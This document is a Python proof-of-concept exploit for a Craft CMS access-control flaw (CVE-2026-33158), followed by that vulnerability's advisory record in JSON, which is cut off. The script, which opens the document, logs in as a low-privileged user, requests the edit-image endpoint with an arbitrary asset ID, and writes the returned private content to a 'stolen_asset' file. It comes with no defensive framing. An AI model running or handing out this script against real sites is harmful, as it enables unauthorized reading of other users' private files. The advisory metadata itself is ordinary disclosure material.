CVE-2026-33158

import requests # Configuration target_url = "http://target-craft-cms.com" username = "low_priv_user" password = "user_password" def exploit(): # Create a session to handle cookies session = requests.Session() # 1. Authenticate as a low-privileged user # Note: Login endpoint may vary depending on Craft CMS configuration login_data = { "loginName": username, "password": password } print("[*] Attempting to login...") login_resp = session.post(f"{target_url}/login", data=login_data) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # 2. Exploit the vulnerability by requesting an arbitrary assetId # The asset ID to target (e.g., a private file belonging to an admin) target_asset_id = "123" # Vulnerable endpoint exploit_endpoint = f"{target_url}/admin/assets/edit-image" params = { "assetId": target_asset_id } print(f"[*] Sending request to retrieve assetId: {target_asset_id}") response = session.get(exploit_endpoint, params=params) # 3. Check response if response.status_code == 200: # The endpoint returns image bytes or a redirect content_type = response.headers.get('Content-Type') print(f"[+] Request successful! Content-Type: {content_type}") # Save the retrieved asset with open(f"stolen_asset_{target_asset_id}.bin", "wb") as f: f.write(response.content) print(f"[+] Saved retrieved content to stolen_asset_{target_asset_id}.bin") else: print(f"[-] Failed to retrieve asset. Status code: {response.status_code}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-33158", "sourceIdentifier": "[email protected]", "published": "2026-03-24T18:16:09.750", "lastModified": "2026-03-26T17:08:28.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.8 and from version 5.0.0-RC1 to before version 5.9.14, a low-privileged authenticated user can read private asset content by calling assets/edit-image with an arbitrary assetId that they are not authorized to view. The endpoint returns image bytes (or a preview redirect) without enforcing a per-asset view authorization check, leading to potential unauthorized disclosure of private files. This issue has been patched in versions 4.17.8 and 5.9.14."}, {"lang": "es", "value": "Craft CMS es un sistema de gestión de contenido (CMS). Desde la versión 4.0.0-RC1 hasta antes de la versión 4.17.8 y desde la versión 5.0.0-RC1 hasta antes de la versión 5.9.14, un usuario autenticado con bajos privilegios puede leer contenido de activos privados llamando a assets/edit-image con un assetId arbitrario que no está autorizado a ver. El endpoint devuelve bytes de imagen (o una redirección de vista previa) sin aplicar una verificación de autorización de vista por activo, lo que lleva a una posible divulgación no autorizada de archivos privados. Este problema ha sido parcheado en las versiones 4.17.8 y 5.9.14."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*", "versionStartExcluding": "4.0.0", "versionEndExcluding": "4.17.8", "matchCriteriaId": "6D076F04-8397-4ED0-8428-6D04B786A0A1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*", "versionStartExcluding": "5.0.0", "versionEndExcluding": "5.9.14", "matchCriteriaId": "7ADCA708-F32E-4943-B523-CF5029C48A50"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "610F6DE9-720F-45B3-81D5-18E7F6B090FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "CC2F40FC-7C27-456A-B16D-679410D1D5CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "FBAA8227-04F8-404C-907B-B0162B325F5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:4.0.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "21B28E2C-327A-4CE6-ACAD-97E459712A55"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "1C7461CF-35AB-48E1-88B6-956DAE1D2AB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "8D8E02D1-601A-4E2B-B619-4775BFDB ... (truncated)